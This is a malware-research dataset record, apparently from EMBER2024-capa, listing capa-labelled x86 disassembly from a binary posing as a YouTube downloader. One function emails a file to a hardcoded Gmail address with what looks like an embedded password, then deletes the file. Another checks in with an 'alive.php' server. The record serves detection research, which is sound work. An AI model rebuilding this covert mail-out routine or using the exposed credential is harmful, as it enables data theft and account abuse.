joyce8/EMBER2024-capa huggingface dataset:
Function at 0x488438
Capabilities:
Get socket status
Print debug messages
Send data
Send data on socket

Disassembly:
sub esp, 0x118
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x170]
test eax, eax
je 0x488460
push dword [esp + 0x12c]
push eax
call fcn.00488fe8
jmp 0x48862a
mov ecx, dword [edi + 0x118]
xor esi, esi
mov ebx, ecx
mov ebp, esi
lea edx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x48846f
mov eax, dword [esp + 0x12c]
sub ebx, edx
mov dword [esp + 0x1c], esi
mov eax, dword [eax + 4]
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x488637
jmp 0x488504
mov eax, dword [edi + 0x120]
lea ecx, [esp + 0x18]
push ecx
push esi
lea ecx, [esp + 0x28]
mov dword [esp + 0x2c], eax
push ecx
push esi
inc eax
mov dword [esp + 0x30], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4885d0
test eax, eax
je 0x488585
lea eax, [esp + 0x20]
push eax
push dword [edi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x488504
mov eax, dword [edi + 0x118]
push esi
push ebx
add eax, ebp
push eax
push dword [edi + 0x120]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x48853a
test eax, eax
je 0x48853a
sub ebx, eax
add ebp, eax
test ebx, ebx
jg 0x488494
push dword [edi + 0x118]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esp + 0x20]
test eax, eax
je 0x48862a
mov ecx, dword [edi + 0x120]
cmp dword [esp + esi*4 + 0x24], ecx
je 0x488625
inc esi
cmp esi, eax
jb 0x488526
jmp 0x48862a
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x48856e
mov eax, dword [edi + 0x120]
cmp dword [esp + esi*4 + 0x24], eax
je 0x488562
inc esi
cmp esi, ecx
jb 0x488548
jmp 0x48856e
mov eax, dword [esp + esi*4 + 0x28]
mov dword [esp + esi*4 + 0x24], eax
inc esi
mov ecx, dword [esp + 0x20]
lea eax, [ecx - 1]
cmp esi, eax
jb 0x488555
dec ecx
mov dword [esp + 0x20], ecx
push 0x66
lea ecx, [esp + 0x18]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x48864c
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x4885b9
mov eax, dword [edi + 0x120]
cmp dword [esp + esi*4 + 0x24], eax
je 0x4885ad
inc esi
cmp esi, ecx
jb 0x488593
jmp 0x4885b9
mov eax, dword [esp + esi*4 + 0x28]
mov dword [esp + esi*4 + 0x24], eax
inc esi
mov ecx, dword [esp + 0x20]
lea eax, [ecx - 1]
cmp esi, eax
jb 0x4885a0
dec ecx
mov dword [esp + 0x20], ecx
push 0x192
lea ecx, [esp + 0x18]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x48864c
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x488604
mov eax, dword [edi + 0x120]
cmp dword [esp + esi*4 + 0x24], eax
je 0x4885f8
inc esi
cmp esi, ecx
jb 0x4885de
jmp 0x488604
mov eax, dword [esp + esi*4 + 0x28]
mov dword [esp + esi*4 + 0x24], eax
inc esi
mov ecx, dword [esp + 0x20]
lea eax, [ecx - 1]
cmp esi, eax
jb 0x4885eb
dec ecx
mov dword [esp + 0x20], ecx
push 0x6d
lea ecx, [esp + 0x18]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x48864c
mov eax, dword [esp + esi*4 + 0x28]
mov dword [esp + esi*4 + 0x24], eax
inc esi
mov eax, dword [esp + 0x20]
dec eax
cmp esi, eax
jb 0x488618
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret 4
push 0x19b
lea ecx, [esp + 0x18]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x488c15
Capabilities:
Get socket status

Disassembly:
sub esp, 0x614
mov eax, dword [esp + 0x61c]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
and dword [esp + 0x10], ebx
mov eax, dword [eax + 8]
push edi
xor edi, edi
mov dword [esp + 0x10], eax
cmp dword [esi + 0x11c], ebx
je 0x488e0d
push ebp
and dword [esp + 0x1c], 0
mov eax, dword [esi + 0x120]
mov dword [esp + 0x124], eax
mov dword [esp + 0x120], 1
test ebx, ebx
je 0x488c70
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x14]
inc eax
push ecx
push 0
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x12c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x488ddf
test eax, eax
je 0x488dbb
lea eax, [esp + 0x120]
push eax
push dword [esi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
jne 0x488cd2
test ebx, ebx
je 0x488c43
lea eax, [esp + 0x1c]
push eax
push dword [esi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x488c43
xor ebx, ebx
push 0x400
lea eax, [esp + 0x228]
push eax
push dword [esp + 0x630]
call fcn.004019c0
mov ebp, eax
push ebp
push dword [esp + 0x638]
call fcn.00403bd0
add esp, 0x14
test eax, eax
jne 0x488d7b
lea eax, [edi + ebp]
mov dword [esp + 0x10], eax
cmp eax, 0x27ff
jg 0x488e28
push ebp
lea eax, [esp + 0x228]
push eax
mov eax, dword [esi + 0x11c]
add eax, edi
push eax
call sub.VCRUNTIME140.dll_memcpy
push dword [esp + 0x634]
mov edi, dword [esp + 0x20]
call fcn.00401710
add esp, 0x10
test eax, eax
jne 0x488cd4
mov eax, dword [esi + 0x11c]
xor ecx, ecx
mov dword [esp + 0x120], ecx
mov dword [esp + 0x1c], ecx
mov byte [edi + eax], cl
test edi, edi
jne 0x488e00
push 0x190
lea ecx, [esp + 0x14]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x488e48
cmp eax, 6
je 0x488d43
cmp eax, 2
je 0x488c43
cmp eax, 3
jne 0x488d96
xor ebx, ebx
inc ebx
jmp 0x488c43
and dword [esp + 0x120], ebx
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], ebx
push 0x19e
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x488e48
and dword [esp + 0x120], 0
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], 0
push 0x192
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x488e48
and dword [esp + 0x120], 0
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], 0
push 0x6d
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x488e48
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x614
ret 8
push 0x19a
lea ecx, [esp + 0x10]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
and dword [esp + 0x120], ebx
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], ebx
push 0x198
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x488e4f
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x4ada3d
call fcn.004ace8c
sub esp, 0x24
push ebx
push esi
mov ebx, ecx
lea ecx, [ebp - 0x2c]
push edi
mov dword [ebp - 0x10], ebx
call fcn.00484f9d
and dword [ebp - 4], 0
push dword [ebp + 8]
mov ecx, ebx
call 0x48822d
push dword [ebx + 0x11c]
lea ecx, [ebp - 0x2c]
call fcn.0048964a
lea ecx, [ebp - 0x2c]
call fcn.00489635
mov edi, eax
xor ebx, ebx
mov dword [ebp - 0x14], edi
xor esi, esi
lea edx, [esi + 1]
jmp 0x488ebc
push esi
lea ecx, [ebp - 0x2c]
call fcn.0048963e
cmp byte [eax], 0xd
jne 0x488eba
push edx
lea ecx, [ebp - 0x2c]
call fcn.0048963e
cmp byte [eax], 0xa
je 0x488ec0
inc esi
inc edx
cmp edx, edi
jb 0x488e9e
lea eax, [esi + 1]
cmp eax, edi
jae 0x488f41
add esi, 2
mov edi, esi
sub edi, ebx
cmp edi, 5
jb 0x488f37
push ebx
lea ecx, [ebp - 0x2c]
call fcn.0048963e
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
pop ecx
test eax, eax
je 0x488f37
lea eax, [ebx + 1]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0048963e
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
pop ecx
test eax, eax
je 0x488f37
lea eax, [ebx + 2]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0048963e
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
pop ecx
test eax, eax
je 0x488f37
cmp edi, 5
je 0x488f49
lea eax, [ebx + 3]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0048963e
cmp byte [eax], 0x20
je 0x488f49
mov edi, dword [ebp - 0x14]
mov ebx, esi
jmp 0x488e99
mov ebx, dword [ebp - 0x10]
jmp 0x488e70
push ebx
lea ecx, [ebp - 0x2c]
call fcn.0048963e
lea ecx, [ebp - 0x2c]
movsx eax, byte [eax]
imul edx, eax, 0xa
lea eax, [ebx + 1]
push eax
call fcn.0048963e
lea ecx, [ebp - 0x2c]
movsx eax, byte [eax]
add edx, eax
lea eax, [ebx + 2]
push eax
imul edx, edx, 0xa
call fcn.0048963e
add edx, 0xffffeb30
lea ecx, [ebp - 0x2c]
movsx esi, byte [eax]
add esi, edx
call fcn.00489639
mov edi, dword [ebp - 0x10]
push eax
push 0x2800
push dword [edi + 0x11c]
call fcn.0048a8a2
add esp, 0xc
push dword [edi + 0x11c]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 8]
cmp esi, dword [eax + 0xc]
jne 0x488fcf
lea ecx, [ebp - 0x2c]
call fcn.00484f47
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
push dword [eax + 0x10]
lea ecx, [ebp + 8]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x488fe8
Capabilities:
Get socket status
Print debug messages

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov ecx, dword [edi + 0x118]
mov esi, ecx
lea edx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x489005
mov eax, dword [esp + 0x23c]
sub esi, edx
and dword [esp + 0x1c], ebx
xor ebp, ebp
mov eax, dword [eax + 4]
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x489191
jmp 0x48912b
and dword [esp + 0x20], 0
mov eax, dword [edi + 0x120]
mov dword [esp + 0x12c], eax
mov dword [esp + 0x128], 1
test ebp, ebp
je 0x48905c
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 1
lea ecx, [esp + 0x18]
inc eax
push ecx
push 0
lea ecx, [esp + 0x130]
push ecx
lea ecx, [esp + 0x2c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x489170
test eax, eax
je 0x48914c
lea eax, [esp + 0x128]
push eax
push dword [edi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
jne 0x4890be
test ebp, ebp
je 0x48912b
lea eax, [esp + 0x20]
push eax
push dword [edi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x48912b
mov eax, dword [edi + 0x118]
xor ebp, ebp
push esi
add eax, ebx
push eax
push dword [esp + 0x240]
call fcn.00401a60
mov ebx, eax
push ebx
push dword [esp + 0x248]
call fcn.00403bd0
add esp, 0x14
sub eax, ebp
je 0x489121
dec eax
sub eax, 1
je 0x48911c
sub eax, 1
je 0x489127
and dword [esp + 0x20], ebp
lea ecx, [esp + 0x14]
and dword [esp + 0x128], ebp
push 0x19e
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x4891a6
xor ebp, ebp
inc ebp
jmp 0x489127
sub esi, ebx
add dword [esp + 0x14], ebx
mov ebx, dword [esp + 0x14]
test esi, esi
jg 0x48902f
push dword [edi + 0x118]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x224
ret 8
and dword [esp + 0x128], 0
lea ecx, [esp + 0x14]
and dword [esp + 0x20], 0
push 0x192
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x4891a6
and dword [esp + 0x128], 0
lea ecx, [esp + 0x14]
and dword [esp + 0x20], 0
push 0x6d
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x4891a6
push 0x19b
lea ecx, [esp + 0x18]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x4891f4
Capabilities:
Get socket status

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x16c]
test eax, eax
je 0x489388
push eax
call fcn.004032a0
mov dword [esi + 0x170], eax
pop ecx
test eax, eax
jne 0x489239
push 0x19e
lea ecx, [esp + 0x18]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x48939d
push dword [esi + 0x120]
push eax
call fcn.00401410
xor ebp, ebp
push ebp
push 4
push 0x21
push dword [esi + 0x170]
call fcn.00403790
add esp, 0x18
mov dword [esp + 0x18], 0xb4
mov ebx, ebp
mov dword [esp + 0x1c], ebp
mov edi, ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x128], ebp
test ebx, ebx
je 0x48928b
mov eax, dword [esi + 0x120]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 1
test edi, edi
je 0x4892a7
mov eax, dword [esi + 0x120]
mov dword [esp + 0x12c], eax
mov dword [esp + 0x128], 1
test ebx, ebx
jne 0x4892af
test edi, edi
je 0x4892e1
lea eax, [esp + 0x18]
mov ebx, ebp
push eax
push ebp
lea eax, [esp + 0x28]
mov edi, ebp
push eax
lea eax, [esp + 0x134]
push eax
mov eax, dword [esi + 0x120]
inc eax
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x48935e
test eax, eax
je 0x48933c
push dword [esi + 0x170]
call fcn.00404090
push eax
push dword [esi + 0x170]
call fcn.00403bd0
add esp, 0xc
sub eax, ebp
je 0x48937d
dec eax
sub eax, 1
je 0x489312
sub eax, 1
jne 0x48931a
xor ebx, ebx
inc ebx
jmp 0x48926a
xor edi, edi
inc edi
jmp 0x48926a
push 0x19e
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], ebp
mov dword [esp + 0x12c], ebp
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x48939d
push 0x192
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], ebp
mov dword [esp + 0x12c], ebp
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x48939d
push 0x6d
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], ebp
mov dword [esp + 0x12c], ebp
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
jmp 0x48939d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x224
ret
push 0x19e
lea ecx, [esp + 0x18]
call fcn.004854d2
push 0x4e53cc
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x48a8ca
Capabilities:
Delete file

Disassembly:
mov eax, 0x4ada86
call fcn.004ace8c
sub esp, 0x194
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x1a0]
mov esi, edx
call fcn.0048563a
mov byte [ebp - 4], 1
call fcn.0048c8a7
movzx eax, word [0x4f8564]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00488795
xor eax, eax
lea ecx, [ebp - 0x1a0]
cmp dword [0x4f8560], 2
sete al
inc eax
push eax
call fcn.004854e4
push str.wise.bear.lu_gmail.com
call fcn.0048877f
push str.JnkL7PE5mZAjyV0g
lea ecx, [ebp - 0x1a0]
call fcn.0048878a
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.0048874f
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.0048873f
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.0048871f
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.0048875f
push ecx
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.004859b1
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00488712
push ecx
call fcn.0048876f
push str.Hello_
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
mov ebx, 0x4da944
lea ecx, [ebp - 0x1a0]
push ebx
call fcn.00485b64
push str.url:
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
push esi
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
push ebx
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
push str.See_attachment.
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
push ebx
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
push str.Regards
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
push ecx
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00485c50
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00485bba
push 0x4db788
lea ecx, [ebp - 0x1a0]
call fcn.00485b64
push edi
lea ecx, [ebp - 0x1a0]
call fcn.0048595b
lea ecx, [ebp - 0x1a0]
call fcn.00485cc3
lea ecx, [ebp - 0x1a0]
call fcn.0048583b
or dword [ebp - 4], 0xffffffff
mov edx, str.Mail_was_send_successfully._n
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0048aadc
push esi
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
pop ecx
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x48aedc
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push edi
mov edi, ecx
mov ebx, 0x400
jmp 0x48aeff
push eax
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.0048ae1c
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
jne 0x48aef0
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
pop edi
pop ebx
leave
ret 4

Function at 0x48b1c7
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov byte [ecx + 0x68], al
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x48bcc5
Capabilities:
Get file version info

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push ebp
push esi
push 0x104
push eax
mov ebx, edx
mov ebp, ecx
call fcn.0048d643
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x48bd5f
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov esi, eax
test esi, esi
je 0x48bd5f
push edi
push esi
call dword [sym.imp.mfc140.dll_Ordinal_265]
pop ecx
mov edi, eax
lea eax, [esp + 0x1c]
push edi
push esi
push dword [esp + 0x18]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x48bd50
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x18]
push eax
push 0x4dacb0
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x48bd50
mov ecx, dword [esp + 0x14]
xor esi, esi
inc esi
mov eax, dword [ecx + 8]
mov dword [ebp], eax
mov eax, dword [ecx + 0xc]
mov dword [ebx], eax
jmp 0x48bd52
xor esi, esi
push edi
call dword [sym.imp.mfc140.dll_Ordinal_266]
pop ecx
mov eax, esi
pop edi
jmp 0x48bd61
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 0x110
ret

Function at 0x48bdac
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x204
push ebx
push ebp
push esi
push edi
xor ebp, ebp
lea eax, [esp + 0x14]
push 0x200
push ebp
push eax
mov esi, edx
mov dword [esp + 0x1c], ebp
mov ebx, ecx
call sub.VCRUNTIME140.dll_memset
push 0x400
push ebp
push esi
call sub.VCRUNTIME140.dll_memset
mov edi, dword [esp + 0x234]
add esp, 0x18
mov dword [edi], ebp
lea eax, [esp + 0x10]
push eax
push 0x200
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x48be0a
mov ecx, ebp
mov dword [esp + 0x10], ecx
jmp 0x48be0e
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x48be45
mov edx, dword [edi]
lea eax, [edx + ecx]
cmp eax, 0x400
ja 0x48be5d
push ecx
lea eax, [esp + 0x18]
push eax
lea eax, [edx + esi]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x1c]
add esp, 0xc
add dword [edi], eax
test eax, eax
je 0x48be45
mov ecx, esi
call fcn.0048d637
test eax, eax
je 0x48bde8
mov ecx, esi
call fcn.0048d637
neg eax
sbb al, al
inc al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x204
ret
xor al, al
jmp 0x48be52
Function at 0x48cb0c
Capabilities:
Create http request

Disassembly:
sub esp, 0x408
mov ecx, 0x51f378
push ebx
push ebp
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.mfc140.dll_Ordinal_1661]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
push str._php_alive.php
mov edx, 0x51f22c
lea ecx, [esp + 0x10]
mov ebp, eax
call fcn.0048455f
pop ecx
push ebx
push 0x84000101
push 0xffffffffffffffff
push ebx
mov ecx, eax
call dword [sym.imp.mfc140.dll_Ordinal_1661]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [esp + 0xc]
mov esi, eax
call dword [sym.imp.mfc140.dll_Ordinal_1044]
test esi, esi
je 0x48cba8
lea eax, [esp + 0x10]
push eax
push ecx
lea edx, [esp + 0x1c]
mov ecx, esi
call fcn.0048bdac
pop ecx
pop ecx
test al, al
je 0x48cba1
mov eax, dword [esp + 0x10]
test eax, eax
je 0x48cba1
mov byte [esp + eax + 0x14], bl
cmp byte [esp + 0x14], 0x6f
jne 0x48cba1
xor eax, eax
inc eax
cmp byte [esp + 0x15], 0x6b
cmove ebx, eax
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x408
ret
Function at 0x48d1b9
Capabilities:
Create process on windows

Disassembly:
push 5
xor eax, eax
push eax
push eax
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret

Function at 0x48d32f
Capabilities:
Terminate process

Disassembly:
mov eax, 0x4ade3d
call fcn.004ace8c
push ecx
push esi
and dword [ebp - 4], 0
lea ecx, [ebp + 0x1c]
mov edx, 0x4dbab0
call fcn.0048d50e
test al, al
je 0x48d3e1
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140.dll_Ordinal_316]
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0x10]
movzx eax, cx
push eax
shr ecx, 0x10
push ecx
mov ecx, dword [ebp + 8]
movzx eax, cx
push eax
shr ecx, 0x10
lea eax, [ebp - 0x10]
push ecx
push str.You_currently_use_version__u._u_of_this_program._The_newest_version__u._u_is_available_online_for_Free._Do_you_want_to_see_more_information_
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 0x18
mov ecx, 0x51f378
call dword [sym.imp.mfc140.dll_Ordinal_1661]
lea ecx, [ebp - 0x10]
mov esi, eax
call dword [sym.imp.mfc140.dll_Ordinal_1661]
push 0x44
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
cmp eax, 6
jne 0x48d3c1
mov ecx, dword [ebp + 0x18]
call dword [sym.imp.mfc140.dll_Ordinal_1661]
mov ecx, eax
call fcn.0048d1b9
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp + 0x1c]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret 0x18
lea ecx, [ebp + 0x10]
call dword [sym.imp.mfc140.dll_Ordinal_316]
lea eax, [ebp + 0x10]
mov byte [ebp - 4], 2
push str.This_version_has_expired__please_upgrade_to_the_latest_version._Exiting..
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
pop ecx
pop ecx
mov ecx, 0x51f378
call dword [sym.imp.mfc140.dll_Ordinal_1661]
lea ecx, [ebp + 0x10]
mov esi, eax
call dword [sym.imp.mfc140.dll_Ordinal_1661]
push 0x40
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp + 0x18]
call dword [sym.imp.mfc140.dll_Ordinal_1661]
mov ecx, eax
call fcn.0048d1b9
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x48d8ea
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov esi, ecx
call dword [sym.imp.mfc140.dll_Ordinal_10429]
mov ebx, dword [sym.imp.mfc140.dll_Ordinal_14054]
lea ecx, [esi + 0x328]
push str.Download_and_Convert_
call ebx
lea ebp, [esi + 0x3a8]
push str.Also_Download_Video_
mov ecx, ebp
call ebx
lea edi, [esi + 0x428]
push str.Compatible_with_TV_IPhone
mov ecx, edi
call ebx
push str.Click_Here_To_Get_Pro_Version_
lea ecx, [esi + 0x630]
call ebx
push 0x420
mov ecx, esi
call dword [sym.imp.mfc140.dll_Ordinal_5401]
push str.paste_url_like:_https:__www.youtube.com_watch_vnv_5K4YDsew
mov ecx, eax
call ebx
push ecx
lea ecx, [esi + 0x630]
call fcn.0049093c
push 1
push 0
lea ecx, [esi + 0x1d8]
call dword [sym.imp.mfc140.dll_Ordinal_4385]
mov ecx, 0x51f34c
call dword [sym.imp.mfc140.dll_Ordinal_1661]
push eax
lea ecx, [esi + 0x1d8]
call ebx
push dword [0x51f364]
mov ecx, ebp
call fcn.00490925
push dword [0x51f36c]
mov ecx, edi
call fcn.00490925
mov ebx, esi
xor ebp, ebp
push ebp
lea ecx, [ebx + 0x5a8]
call dword [sym.imp.mfc140.dll_Ordinal_4468]
push ecx
push ecx
lea ecx, [ebx + 0x528]
call fcn.0049090d
cmp dword [0x51f368], 1
mov ecx, ebx
je 0x48d9ca
call 0x48db43
jmp 0x48d9cf
call 0x48da9c
lea ecx, [ebx + 0x158]
call dword [sym.imp.mfc140.dll_Ordinal_13475]
lea eax, [esp + 0x14]
push eax
push ebp
push ebp
push 0x1c
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push dword [esp + 0x14]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea eax, [esp + 0x18]
mov ecx, 0x4fb2c8
push eax
call dword [sym.imp.mfc140.dll_Ordinal_1529]
mov ebp, dword [sym.imp.mfc140.dll_Ordinal_5401]
mov edi, 0x4dc8c0
push edi
push edi
push 0x3fd
mov ecx, ebx
call ebp
mov ecx, eax
call fcn.00490902
mov esi, dword [sym.imp.UxTheme.dll_SetWindowTheme]
push eax
call esi
push edi
push edi
push 0x3fe
mov ecx, ebx
call ebp
mov ecx, eax
call fcn.00490902
push eax
call esi
push edi
push edi
push 0x43b
mov ecx, ebx
call ebp
mov ecx, eax
call fcn.00490902
push eax
call esi
push edi
push edi
push 0x3fb
mov ecx, ebx
call ebp
mov ecx, eax
call fcn.00490902
push eax
call esi
push edi
push edi
push 0x43e
mov ecx, ebx
call ebp
mov ecx, eax
call fcn.00490902
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x10c
ret